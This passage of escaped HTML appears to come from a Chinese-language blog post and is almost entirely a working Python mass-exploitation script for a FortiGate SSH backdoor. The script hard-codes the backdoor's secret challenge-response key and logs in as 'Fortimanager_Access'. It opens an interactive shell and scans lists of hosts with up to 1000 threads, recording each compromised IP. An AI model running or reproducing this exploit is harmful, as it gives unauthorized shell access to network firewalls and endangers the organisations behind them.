style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">n = prompt_list[0][0]<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">m = hashlib.sha1()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">m.update(&#8216;\\x00&#8217; * 12)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">m.update(n + &#8216;FGTAbc11*xy+Qqz27&#8217;)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">m.update(&#8216;\\xA3\\x88\\xBA\\x2E\\x42\\x4C\\xB0\\x4A\\x53\\x79\\x30\\xC1\\x31\\x07\\xCC\\x3F\\xA1\\x32\\x90\\x29\\xA9\\x81\\x5B\\x70&#8217;)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">h = &#8216;AK1&#8217; + base64.b64encode(&#8216;\\x00&#8217; * 12 + m.digest())<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">return [h]<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">def scan_host(targetIP):<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">global file_mutex<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">global results_fd<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">client = paramiko.SSHClient()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">client.set_missing_host_key_policy(paramiko.AutoAddPolicy())<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">try:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">client.connect(targetIP, username=&#8221;, allow_agent=False, look_for_keys=False,timeout=5)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">except paramiko.ssh_exception.SSHException:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">#print &#8220;debug:connect error&#8221;<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">pass<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">trans = client.get_transport()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">try:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">trans.auth_password(username=&#8217;Fortimanager_Access&#8217;, password=&#8221;, event=None, fallback=True)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">except paramiko.ssh_exception.AuthenticationException:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">#print &#8220;debug:auth failed&#8221;<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">pass<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">trans.auth_interactive(username=&#8217;Fortimanager_Access&#8217;, handler=custom_handler)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">chan = client.invoke_shell()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">oldtty = termios.tcgetattr(sys.stdin)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">try:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">tty.setraw(sys.stdin.fileno())<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">tty.setcbreak(sys.stdin.fileno())<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">chan.settimeout(0.0)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">r, w, e = select.select([chan, sys.stdin], [], [])<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">if chan in r:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:12px\">try:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">x = u(chan.recv(1024))<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">if len(x) == 0:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">sys.stdout.write(&#8216;\\r\\n*** EOF\\r\\n&#8217;)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">sys.stdout.write(x)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">sys.stdout.flush()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">#available<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">if file_mutex.acquire():<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">results_fd.seek(0,2)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">results_fd.write(targetIP+&#8221;\\n&#8221;)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">results_fd.flush()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">file_mutex.release()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">except socket.timeout:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">#print &#8220;debug:socket timeout&#8221;<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">pass<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">finally:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">def scan_thread(targetIP):<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">global threadCount<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">global mutex<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">global scanCount<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">#lock<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">if mutex.acquire():<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">threadCount+=1<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">mutex.release()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">try:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">scan_host(targetIP)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">except:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">pass<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">finally:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">if mutex.acquire():<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">threadCount-=1<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">scanCount+=1<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">mutex.release()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">return<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">def main():<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">global threadCount<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">global results_fd<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">global scanCount<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">host_file=open(&#8220;port22.txt&#8221;,&#8221;r&#8221;)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">results_fd=open(&#8220;fgt_ssh_backdoor.txt&#8221;,&#8221;wt&#8221;)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">while True:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">readBuff=host_file.readline()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">if len(readBuff)&lt;3:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">break<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">targetIP=readBuff[:len(readBuff)-1]<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">while threadCount&gt;1000:<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">pass<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">threading.Thread(target=scan_thread, args=(targetIP,)).start()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">print &#8220;target:&#8221;+targetIP+&#8221;\\t&#8221;+&#8221;thread count:&#8221;+str(threadCount)+&#8221;\\tscan count:&#8221;+str(scanCount)<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">if __name__ == &#8216;__main__&#8217;:<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><span style=\"font-size:12px\">&nbsp;&nbsp;&nbsp; <\/span><span style=\"font-size:12px\">main()<\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t&nbsp;<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>&nbsp;<\/p>\n<p class=\"MsoNormal\">\n\t<b><span style=\"font-family:\u5b8b\u4f53;font-size:12pt;\">\u6f0f\u6d1e\u6982\u8981<\/span><\/b>\n<\/p>\n<p style=\"text-indent:21pt;\" class=\"MsoNormal\">\n\t<span 